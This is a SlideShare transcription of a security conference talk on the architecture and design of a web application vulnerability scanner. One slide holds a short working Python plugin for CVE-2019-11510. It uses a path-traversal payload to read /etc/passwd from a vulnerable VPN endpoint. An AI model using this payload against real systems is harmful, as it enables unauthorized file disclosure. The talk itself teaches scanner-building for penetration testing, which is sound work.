SlideShare una empresa de Scribd logo

Nguyen Huu Trung - Building a web vulnerability scanner - From a hacker’s view

•
•
Security Bootcamp
Security Bootcamp

This document discusses building a high performance web application vulnerability scanner. It begins with an introduction of the speaker and agenda. It then defines what a WAVS is and why they are needed for both penetration testers and businesses to discover vulnerabilities. The document discusses why building your own WAVS is typically not recommended and reviews common challenges. It proposes an architecture with core and plugin components and discusses approaches like crawling and fuzzing, CPE and CVE mapping, and public exploit testing. Recommendations are provided around programming languages, code design patterns, and challenges like JavaScript crawling, high overhead, false positives, and other considerations.

Internet
1 de 47
Descargar para leer sin conexión
Trung Nguyen Building a high performance Web Application Vulnerability Scanner
› @everping › Founder & CEO at CyStack › Security Researcher, Bug Hunter, Computer Engineer › Discovered critical vulnerabilities and acknowledged by Microsoft, IBM, D-LINK, HP, Delloite Whoami
› What is a WAVS? › Why do we need WAVS? › Architecture and Design › Challenges Agenda
What is a WAVS?
Web Application Vulnerability Scanners are automated tools that scan web applications, normally from the outside, to look for security vulnerabilities such as Cross-site scripting, SQL Injection, Command Injection, Path Traversal and insecure server configuration
Why do we need WAVS?
› Discover attack surfaces (URLs, headers, open ports) › Gather information about the target (OS, Web frameworks, built-in technologies, sitemap) › Detect non-business logic vulnerabilities (SQLi, XSS, SSTi) › Detect misconfigurations For pentesters
› Get similar advantages as pentesters get › See an overview of security risks in web applications › Integrate findings into vulnerability management › Save cost against basic security flaws For businesses
Should we create our own WAVS?
NO Except you do it due to educational purposes or clear commercial purposes
› User doesn’t like the way scanner X implements a feature › User has free time › User starts writing his own scanner and usually succeeds in implementing the one feature he really needed › The new web application scanner only works on a small subset of sites, since it doesn’t know how to extract links other than the ones in tags, or can’t handle broken HTML, or is too slow to be used on any site with more than a few hundred pages. › The creator of the new tool maintains it for six months › The project dies when the project lead finds more interesting things to do, finds a tool that did what he needed, changes jobs, etc. The usual timeline
It’s time to build
Security testing in the wild Discovery Vulnerability Analysis Exploitation Follow the tactical exploitation
Security testing in the wild Discovery Vulnerability Analysis Exploitation This is the process for discovering as much background information about the target as possible including, hosts, operating systems, topology, etc.
Security testing in the wild Discovery Vulnerability Analysis Exploitation Vulnerability analysis is the process of discovering flaws in systems and applications which can be leveraged by an attacker.
Security testing in the wild Discovery Vulnerability Analysis Exploitation The exploitation focuses solely on establishing access to a system or resource by bypassing security restrictions.
› Scalability: Adding new vulnerability signatures easily › Stability: Taking up less RAM and CPU › Reliability: Finding vulnerabilities with low false positive Requirements
The Flow Subdomain Findercs.com news.cs.com blog.cs.com ... Port Scan https://blog.cs.com:443 ftp://news.cs.com:21 https://news.cs.com:8443 ... Crawling & Fuzzing CPE and CVE Mapping Public exploits Testing Vulnerability synthesis
Architecture Core Plugins Apply the plugin-based architecture Core › Manages the main flow › Coordinates the processes, threads › Provides APIs to resuse by plugins Plugins › Find flaws directly › Get data from the core › Share information gathered for other components/plugins via the core apis
Plugins › Infrastructure: Gather all information about the target such as sitemap, headers, OS, web framework, etc. It runs in a loop which the output of one discovery plugin is sent as input to the next plugin › Subdomain: Find all sub-domains from the root domain › Audit: Take the output of discovery plugins and find vulnerabilities by fuzzing › Attack: Try to exploit by using confirmed finding from audit plugins › Other plugins: Output, mangle, evasion, grep, brute force
Architecture User Discovery Audit Output Knowledge Base
Approaches for audit
Crawling and Fuzzing › The main component is a crawler › The crawler gets the seed URL and finds all possible URLs of the target Seed URL Requester Parse Document HTTP Response URL Queue The URL is not in the queue URL Pack The URL is in the queue? Fuzzable Request
Crawling and Fuzzing Knowledge Base Pack Debugger Raw fuzz data Fuzzable Request Mutant
Crawling and Fuzzing › Normally use for finding 0-day vulnerabilities or common vulnerabilities (SQLi, XSS, etc) › Complex to implement a new plugin › Take high rate of false positives
CPE and CVE mapping › Detect the name and version of all possible technologies, frameworks of the target › Convert findings to CPEs (Common Platform Enumeration) strings › CPE is a structured naming scheme for information technology systems, software, and packages. › Find CVEs map with those CPEs cpe:2.3:o:linux:linux_kernel:2.6.0:*:*:*:*:*:*:* cpe:/o:linux:linux_kernel:2.6.0
CPE and CVE mapping › Sometimes, converting name and version to CPE format is impossible › Building your own threat intelligence or vulnerability DB is required
Public exploits tesing › As know as blind testing › Run known exploit code with your target. If the response matches the signature, the target is vulnerable › Detecting technologies is not really necessary
Public exploits tesing › Normally use for finding 1-day vulnerabilities, CVEs, known and public exploits for specific applications or frameworks › Easy to implement a new plugin › Take low rate of false positives
Public exploits tesing class Cve201911510(AttackPlugin): def __init__(self): super().__init__() self.path = '/dana-na' self.payload = self.generate_payload() def generate_payload(self, file_name=''): if file_name == '': file_name = '/etc/passwd' payload = f'/../dana/html5acc/guacamole/../../../../../../..{fil e_name}?/dana/html5acc/guacamole/' return payload def real_exploit(self, url): resp = self.requester.get(url + self.payload, path_as_is=True) if 'root:x:0' in resp.text: return True return False
Recommendation
Program languages › The main language depends on the environment that the scanner is installed › If the scanner is distributed as a desktop app, it should be written in low-level language to protect against reverse engineering. Python is a bad choice. › If the scanner is delivered as a service, the language is not a problem › The core can be written in any program languages › The plugins should be written in scripting languages such as python, LUA, or even your own language for scalability
Code design › Design pattern is very important if you’d like to scale up the scanner class CoreStrategy(object): def start(self): try: target = self._core.base_target if not target.is_valid(): logger.error('The target is not valid') return if target.get_type() == TYPE_URL: self.discover() self.attack() self.audit() else: self.discover() self.attack() except ScanMustStopException: logger.error('[!] The scan will be finished now') except: logger.error() Strategy Pattern
Code design › Design pattern is very important if you’d like to scale up the scanner def real_exploit(self, url): """ This method MUST be implemented on every plugin. :param url: url to test whether it can be exploited or not :return: True if it is vulnerable. Otherwise, false. """ msg = 'Plugin is not implementing required method real_exploit' raise NotImplementException(msg) Abstract Pattern
Code design › Design pattern is very important if you’d like to scale up the scanner def real_exploit(self, url): """ This method MUST be implemented on every plugin. :param url: url to test whether it can be exploited or not :return: True if it is vulnerable. Otherwise, false. """ msg = 'Plugin is not implementing required method real_exploit' raise NotImplementException(msg) Abstract Pattern
Code design › Design pattern is very important if you’d like to scale up the scanner def factory(module_name, *args): """ This function creates an instance of a class that's inside a module with the same name. Example : >> cve_2015_4852 = factory( 'exploits.plugins.attack.cve_2015_4852' ) >> cve_2015_4852.get_name() >> 'CVE-2015-4852' :param module_name: Which plugin do you need? :return: An instance. """ Factory Pattern
Challenges
› The traditional crawler does not work with JS-based website or single page application (Angular, VueJS, React) Javascript crawling
› Available solutions: Using headless browsers to render JS at the client side (Chronium, Firefox, PhantomJS, Splash, etc) › Cons: Those engines take up a lot of computer resources (RAM, CPU) and the rendering speed is slow Javascript crawling
› Scanners normally take a lot of › I/O resources since performing many requests to outside › CPU since it has to be analyzed continuously › RAM since using multi-thread design or forgetting to free unnecessary memory High overhead
› Solutions › Optimize your code › Should use low-level program languages High overhead
https://blog.com/news/stuck-in-vietnam-a-stroke-of-luck-4193869.html URL Rewrite https://blog.com/posts/?id=4193869 A scanner can easily detect GET parameters as But hardly to detect this one
https://blog.com/news/n1.html https://blog.com/news/n2.html https://blog.com/news/n3.html Similarity URLs Below URLs are similarity But a scanner can crawl all of them, which leads to an increase in the time scan
› Many web applications handle requests not in the way we expect (e.g return status code 200 for not found pages) › Delay in connections › The web content includes vulnerability signatures False positives
› Solution: Fix case by case False positives
› Identify the appropriate form field (email, phone, name, city) › Authenticate the target › Crawl and fuzz APIs › Deal with business logic vulnerabilities Others
Thanks ! trungnh@cystack.net @everping

Recomendados

Malware detection-using-machine-learning
Malware detection-using-machine-learningMalware detection-using-machine-learning
Malware detection-using-machine-learningSecurity Bootcamp
 
Malware Classification and Analysis
Malware Classification and AnalysisMalware Classification and Analysis
Malware Classification and AnalysisPrashant Chopra
 
Malware classification using Machine Learning
Malware classification using Machine LearningMalware classification using Machine Learning
Malware classification using Machine LearningJapneet Singh
 
Malware Detection - A Machine Learning Perspective
Malware Detection - A Machine Learning PerspectiveMalware Detection - A Machine Learning Perspective
Malware Detection - A Machine Learning PerspectiveChong-Kuan Chen
 
Malware Detection using Machine Learning
Malware Detection using Machine Learning Malware Detection using Machine Learning
Malware Detection using Machine Learning Cysinfo Cyber Security Community
 
Data mining techniques for malware detection.pptx
Data mining techniques for malware detection.pptxData mining techniques for malware detection.pptx
Data mining techniques for malware detection.pptxAditya Deshmukh
 
Adversarial machine learning for av software
Adversarial machine learning for av softwareAdversarial machine learning for av software
Adversarial machine learning for av softwarejunseok seo
 
Setup Your Personal Malware Lab
Setup Your Personal Malware LabSetup Your Personal Malware Lab
Setup Your Personal Malware LabDigit Oktavianto
 

Recomendados

Malware detection-using-machine-learning
Malware detection-using-machine-learningMalware detection-using-machine-learning
Malware detection-using-machine-learningSecurity Bootcamp
 
Malware Classification and Analysis
Malware Classification and AnalysisMalware Classification and Analysis
Malware Classification and AnalysisPrashant Chopra
 
Malware classification using Machine Learning
Malware classification using Machine LearningMalware classification using Machine Learning
Malware classification using Machine LearningJapneet Singh
 
Malware Detection - A Machine Learning Perspective
Malware Detection - A Machine Learning PerspectiveMalware Detection - A Machine Learning Perspective
Malware Detection - A Machine Learning PerspectiveChong-Kuan Chen
 
Malware Detection using Machine Learning
Malware Detection using Machine Learning Malware Detection using Machine Learning
Malware Detection using Machine Learning Cysinfo Cyber Security Community
 
Data mining techniques for malware detection.pptx
Data mining techniques for malware detection.pptxData mining techniques for malware detection.pptx
Data mining techniques for malware detection.pptxAditya Deshmukh
 
Adversarial machine learning for av software
Adversarial machine learning for av softwareAdversarial machine learning for av software
Adversarial machine learning for av softwarejunseok seo
 
Setup Your Personal Malware Lab
Setup Your Personal Malware LabSetup Your Personal Malware Lab
Setup Your Personal Malware LabDigit Oktavianto
 
Malware detection
Malware detectionMalware detection
Malware detectionssuser1eca7d
 
Malware Detection Using Machine Learning Techniques
Malware Detection Using Machine Learning TechniquesMalware Detection Using Machine Learning Techniques
Malware Detection Using Machine Learning TechniquesArshadRaja786
 
Introduction to Malware Detection and Reverse Engineering
Introduction to Malware Detection and Reverse EngineeringIntroduction to Malware Detection and Reverse Engineering
Introduction to Malware Detection and Reverse Engineeringintertelinvestigations
 
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...EndgameInc
 
Machine Learning for Malware Classification and Clustering
Machine Learning for Malware Classification and ClusteringMachine Learning for Malware Classification and Clustering
Machine Learning for Malware Classification and ClusteringAshwini Almad
 
Machine Learning in Malware Detection
Machine Learning in Malware DetectionMachine Learning in Malware Detection
Machine Learning in Malware DetectionKaspersky
 
Detecting Evasive Malware in Sandbox
Detecting Evasive Malware in SandboxDetecting Evasive Malware in Sandbox
Detecting Evasive Malware in SandboxRahul Mohandas
 
Cyber Threat Hunting Training (CCTHP)
Cyber Threat Hunting Training (CCTHP)Cyber Threat Hunting Training (CCTHP)
Cyber Threat Hunting Training (CCTHP)ENOInstitute
 
Semantics aware malware detection ppt
Semantics aware malware detection pptSemantics aware malware detection ppt
Semantics aware malware detection pptManish Yadav
 
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting Program
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting ProgramIDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting Program
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting ProgramDigit Oktavianto
 
Next Generation Advanced Malware Detection and Defense
Next Generation Advanced Malware Detection and DefenseNext Generation Advanced Malware Detection and Defense
Next Generation Advanced Malware Detection and DefenseLuca Simonelli
 
Creating Your Own Threat Intel Through Hunting & Visualization
Creating Your Own Threat Intel Through Hunting & VisualizationCreating Your Own Threat Intel Through Hunting & Visualization
Creating Your Own Threat Intel Through Hunting & VisualizationRaffael Marty
 
Malware Analysis
Malware AnalysisMalware Analysis
Malware AnalysisRamin Farajpour Cami
 
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015 Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015 Lastline, Inc.
 
An Introduction to Malware Classification
An Introduction to Malware ClassificationAn Introduction to Malware Classification
An Introduction to Malware ClassificationJohn Seymour
 
Threat hunting in cyber world
Threat hunting in cyber worldThreat hunting in cyber world
Threat hunting in cyber worldAkash Sarode
 
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna Now you see me, now you don't: chasing evasive malware - Giovanni Vigna
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna Lastline, Inc.
 
AI approach to malware similarity analysis: Maping the malware genome with a...
AI approach to malware similarity analysis: Maping the malware genome with a...AI approach to malware similarity analysis: Maping the malware genome with a...
AI approach to malware similarity analysis: Maping the malware genome with a...Priyanka Aash
 
Fighting advanced malware using machine learning (English)
Fighting advanced malware using machine learning (English)Fighting advanced malware using machine learning (English)
Fighting advanced malware using machine learning (English)FFRI, Inc.
 
Another Side of Hacking
Another Side of HackingAnother Side of Hacking
Another Side of HackingSatria Ady Pradana
 
Cyber ppt
Cyber pptCyber ppt
Cyber pptkarthik menon
 
香港六合彩
香港六合彩香港六合彩
香港六合彩baoyin
 

Más contenido relacionado

La actualidad más candente

Malware Detection Using Machine Learning Techniques
Malware Detection Using Machine Learning TechniquesMalware Detection Using Machine Learning Techniques
Malware Detection Using Machine Learning TechniquesArshadRaja786
 
Introduction to Malware Detection and Reverse Engineering
Introduction to Malware Detection and Reverse EngineeringIntroduction to Malware Detection and Reverse Engineering
Introduction to Malware Detection and Reverse Engineeringintertelinvestigations
 
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...EndgameInc
 
Machine Learning for Malware Classification and Clustering
Machine Learning for Malware Classification and ClusteringMachine Learning for Malware Classification and Clustering
Machine Learning for Malware Classification and ClusteringAshwini Almad
 
Machine Learning in Malware Detection
Machine Learning in Malware DetectionMachine Learning in Malware Detection
Machine Learning in Malware DetectionKaspersky
 
Detecting Evasive Malware in Sandbox
Detecting Evasive Malware in SandboxDetecting Evasive Malware in Sandbox
Detecting Evasive Malware in SandboxRahul Mohandas
 
Cyber Threat Hunting Training (CCTHP)
Cyber Threat Hunting Training (CCTHP)Cyber Threat Hunting Training (CCTHP)
Cyber Threat Hunting Training (CCTHP)ENOInstitute
 
Semantics aware malware detection ppt
Semantics aware malware detection pptSemantics aware malware detection ppt
Semantics aware malware detection pptManish Yadav
 
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting Program
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting ProgramIDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting Program
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting ProgramDigit Oktavianto
 
Next Generation Advanced Malware Detection and Defense
Next Generation Advanced Malware Detection and DefenseNext Generation Advanced Malware Detection and Defense
Next Generation Advanced Malware Detection and DefenseLuca Simonelli
 
Creating Your Own Threat Intel Through Hunting & Visualization
Creating Your Own Threat Intel Through Hunting & VisualizationCreating Your Own Threat Intel Through Hunting & Visualization
Creating Your Own Threat Intel Through Hunting & VisualizationRaffael Marty
 
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015 Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015 Lastline, Inc.
 
An Introduction to Malware Classification
An Introduction to Malware ClassificationAn Introduction to Malware Classification
An Introduction to Malware ClassificationJohn Seymour
 
Threat hunting in cyber world
Threat hunting in cyber worldThreat hunting in cyber world
Threat hunting in cyber worldAkash Sarode
 
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna Now you see me, now you don't: chasing evasive malware - Giovanni Vigna
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna Lastline, Inc.
 
AI approach to malware similarity analysis: Maping the malware genome with a...
AI approach to malware similarity analysis: Maping the malware genome with a...AI approach to malware similarity analysis: Maping the malware genome with a...
AI approach to malware similarity analysis: Maping the malware genome with a...Priyanka Aash
 
Fighting advanced malware using machine learning (English)
Fighting advanced malware using machine learning (English)Fighting advanced malware using machine learning (English)
Fighting advanced malware using machine learning (English)FFRI, Inc.
 

La actualidad más candente (20)

Malware detection
Malware detectionMalware detection
Malware detection
 
Malware Detection Using Machine Learning Techniques
Malware Detection Using Machine Learning TechniquesMalware Detection Using Machine Learning Techniques
Malware Detection Using Machine Learning Techniques
 
Introduction to Malware Detection and Reverse Engineering
Introduction to Malware Detection and Reverse EngineeringIntroduction to Malware Detection and Reverse Engineering
Introduction to Malware Detection and Reverse Engineering
 
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...
 
Machine Learning for Malware Classification and Clustering
Machine Learning for Malware Classification and ClusteringMachine Learning for Malware Classification and Clustering
Machine Learning for Malware Classification and Clustering
 
Machine Learning in Malware Detection
Machine Learning in Malware DetectionMachine Learning in Malware Detection
Machine Learning in Malware Detection
 
Detecting Evasive Malware in Sandbox
Detecting Evasive Malware in SandboxDetecting Evasive Malware in Sandbox
Detecting Evasive Malware in Sandbox
 
Cyber Threat Hunting Training (CCTHP)
Cyber Threat Hunting Training (CCTHP)Cyber Threat Hunting Training (CCTHP)
Cyber Threat Hunting Training (CCTHP)
 
Semantics aware malware detection ppt
Semantics aware malware detection pptSemantics aware malware detection ppt
Semantics aware malware detection ppt
 
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting Program
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting ProgramIDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting Program
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting Program
 
Next Generation Advanced Malware Detection and Defense
Next Generation Advanced Malware Detection and DefenseNext Generation Advanced Malware Detection and Defense
Next Generation Advanced Malware Detection and Defense
 
Creating Your Own Threat Intel Through Hunting & Visualization
Creating Your Own Threat Intel Through Hunting & VisualizationCreating Your Own Threat Intel Through Hunting & Visualization
Creating Your Own Threat Intel Through Hunting & Visualization
 
Malware Analysis
Malware AnalysisMalware Analysis
Malware Analysis
 
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015 Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015
 
An Introduction to Malware Classification
An Introduction to Malware ClassificationAn Introduction to Malware Classification
An Introduction to Malware Classification
 
Threat hunting in cyber world
Threat hunting in cyber worldThreat hunting in cyber world
Threat hunting in cyber world
 
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna Now you see me, now you don't: chasing evasive malware - Giovanni Vigna
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna
 
AI approach to malware similarity analysis: Maping the malware genome with a...
AI approach to malware similarity analysis: Maping the malware genome with a...AI approach to malware similarity analysis: Maping the malware genome with a...
AI approach to malware similarity analysis: Maping the malware genome with a...
 
Fighting advanced malware using machine learning (English)
Fighting advanced malware using machine learning (English)Fighting advanced malware using machine learning (English)
Fighting advanced malware using machine learning (English)
 
Another Side of Hacking
Another Side of HackingAnother Side of Hacking
Another Side of Hacking
 

Similar a Nguyen Huu Trung - Building a web vulnerability scanner - From a hacker’s view

香港六合彩
香港六合彩香港六合彩
香港六合彩baoyin
 
Using Analyzers to Resolve Security Problems
Using Analyzers to Resolve Security ProblemsUsing Analyzers to Resolve Security Problems
Using Analyzers to Resolve Security Problemskiansahafi
 
OWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersOWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersLewis Ardern
 
Thick client pentesting_the-hackers_meetup_version1.0pptx
Thick client pentesting_the-hackers_meetup_version1.0pptxThick client pentesting_the-hackers_meetup_version1.0pptx
Thick client pentesting_the-hackers_meetup_version1.0pptxAnurag Srivastava
 
Shift Left Security
Shift Left SecurityShift Left Security
Shift Left Securitygjdevos
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxFernandoVizer
 
Thick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash CourseThick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash CourseScott Sutherland
 
"Automated Malware Analysis" de Gabriel Negreira Barbosa, Malware Research an...
"Automated Malware Analysis" de Gabriel Negreira Barbosa, Malware Research an..."Automated Malware Analysis" de Gabriel Negreira Barbosa, Malware Research an...
"Automated Malware Analysis" de Gabriel Negreira Barbosa, Malware Research an...SegInfo
 
Web application penetration testing lab setup guide
Web application penetration testing lab setup guideWeb application penetration testing lab setup guide
Web application penetration testing lab setup guideSudhanshu Chauhan
 
Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...
Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...
Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...MrityunjayaHikkalgut1
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionDaniel Owens
 
OWASP_Top_Ten_Proactive_Controls version 2
OWASP_Top_Ten_Proactive_Controls version 2OWASP_Top_Ten_Proactive_Controls version 2
OWASP_Top_Ten_Proactive_Controls version 2ssuser18349f1
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxjohnpragasam1
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxazida3
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxcgt38842
 
OWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptxOWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptxnmk42194
 
VAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptxVAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptxkarthikvcyber
 
Penetration testing dont just leave it to chance
Penetration testing dont just leave it to chancePenetration testing dont just leave it to chance
Penetration testing dont just leave it to chanceDr. Anish Cheriyan (PhD)
 
Thick Application Penetration Testing - A Crash Course
Thick Application Penetration Testing - A Crash CourseThick Application Penetration Testing - A Crash Course
Thick Application Penetration Testing - A Crash CourseNetSPI
 

Similar a Nguyen Huu Trung - Building a web vulnerability scanner - From a hacker’s view (20)

Cyber ppt
Cyber pptCyber ppt
Cyber ppt
 
香港六合彩
香港六合彩香港六合彩
香港六合彩
 
Using Analyzers to Resolve Security Problems
Using Analyzers to Resolve Security ProblemsUsing Analyzers to Resolve Security Problems
Using Analyzers to Resolve Security Problems
 
OWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersOWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript Developers
 
Thick client pentesting_the-hackers_meetup_version1.0pptx
Thick client pentesting_the-hackers_meetup_version1.0pptxThick client pentesting_the-hackers_meetup_version1.0pptx
Thick client pentesting_the-hackers_meetup_version1.0pptx
 
Shift Left Security
Shift Left SecurityShift Left Security
Shift Left Security
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
Thick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash CourseThick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash Course
 
"Automated Malware Analysis" de Gabriel Negreira Barbosa, Malware Research an...
"Automated Malware Analysis" de Gabriel Negreira Barbosa, Malware Research an..."Automated Malware Analysis" de Gabriel Negreira Barbosa, Malware Research an...
"Automated Malware Analysis" de Gabriel Negreira Barbosa, Malware Research an...
 
Web application penetration testing lab setup guide
Web application penetration testing lab setup guideWeb application penetration testing lab setup guide
Web application penetration testing lab setup guide
 
Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...
Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...
Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental Edition
 
OWASP_Top_Ten_Proactive_Controls version 2
OWASP_Top_Ten_Proactive_Controls version 2OWASP_Top_Ten_Proactive_Controls version 2
OWASP_Top_Ten_Proactive_Controls version 2
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
OWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptxOWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptx
 
VAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptxVAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptx
 
Penetration testing dont just leave it to chance
Penetration testing dont just leave it to chancePenetration testing dont just leave it to chance
Penetration testing dont just leave it to chance
 
Thick Application Penetration Testing - A Crash Course
Thick Application Penetration Testing - A Crash CourseThick Application Penetration Testing - A Crash Course
Thick Application Penetration Testing - A Crash Course
 

Más de Security Bootcamp

Ransomware is Knocking your Door_Final.pdf
Ransomware is Knocking your Door_Final.pdfRansomware is Knocking your Door_Final.pdf
Ransomware is Knocking your Door_Final.pdfSecurity Bootcamp
 
Hieupc-The role of psychology in enhancing cybersecurity
Hieupc-The role of psychology in enhancing cybersecurityHieupc-The role of psychology in enhancing cybersecurity
Hieupc-The role of psychology in enhancing cybersecuritySecurity Bootcamp
 
Sbc 2020 bao gio vn co anm dua vao cong nghe mo
Sbc 2020 bao gio vn co anm dua vao cong nghe moSbc 2020 bao gio vn co anm dua vao cong nghe mo
Sbc 2020 bao gio vn co anm dua vao cong nghe moSecurity Bootcamp
 
Giam sat thu dong thong tin an toan hang hai su dung sdr
Giam sat thu dong thong tin an toan hang hai su dung sdrGiam sat thu dong thong tin an toan hang hai su dung sdr
Giam sat thu dong thong tin an toan hang hai su dung sdrSecurity Bootcamp
 
Insider threat-what-us-do d-want
Insider threat-what-us-do d-wantInsider threat-what-us-do d-want
Insider threat-what-us-do d-wantSecurity Bootcamp
 
Macro malware common techniques - public
Macro malware common techniques - publicMacro malware common techniques - public
Macro malware common techniques - publicSecurity Bootcamp
 
Tim dieu moi trong nhung dieu cu
Tim dieu moi trong nhung dieu cuTim dieu moi trong nhung dieu cu
Tim dieu moi trong nhung dieu cuSecurity Bootcamp
 
Threat detection with 0 cost
Threat detection with 0 costThreat detection with 0 cost
Threat detection with 0 costSecurity Bootcamp
 
GOLDEN TICKET - Hiểm hoa tiềm ẩn trong hệ thống Active Directory
GOLDEN TICKET - Hiểm hoa tiềm ẩn trong hệ thống Active DirectoryGOLDEN TICKET - Hiểm hoa tiềm ẩn trong hệ thống Active Directory
GOLDEN TICKET - Hiểm hoa tiềm ẩn trong hệ thống Active DirectorySecurity Bootcamp
 
PHÂN TÍCH MỘT SỐ CUỘC TẤN CÔNG APT ĐIỂN HÌNH NHẮM VÀO VIỆT NAM 2017-2018
PHÂN TÍCH MỘT SỐ CUỘC TẤN CÔNG APT ĐIỂN HÌNH NHẮM VÀO VIỆT NAM 2017-2018PHÂN TÍCH MỘT SỐ CUỘC TẤN CÔNG APT ĐIỂN HÌNH NHẮM VÀO VIỆT NAM 2017-2018
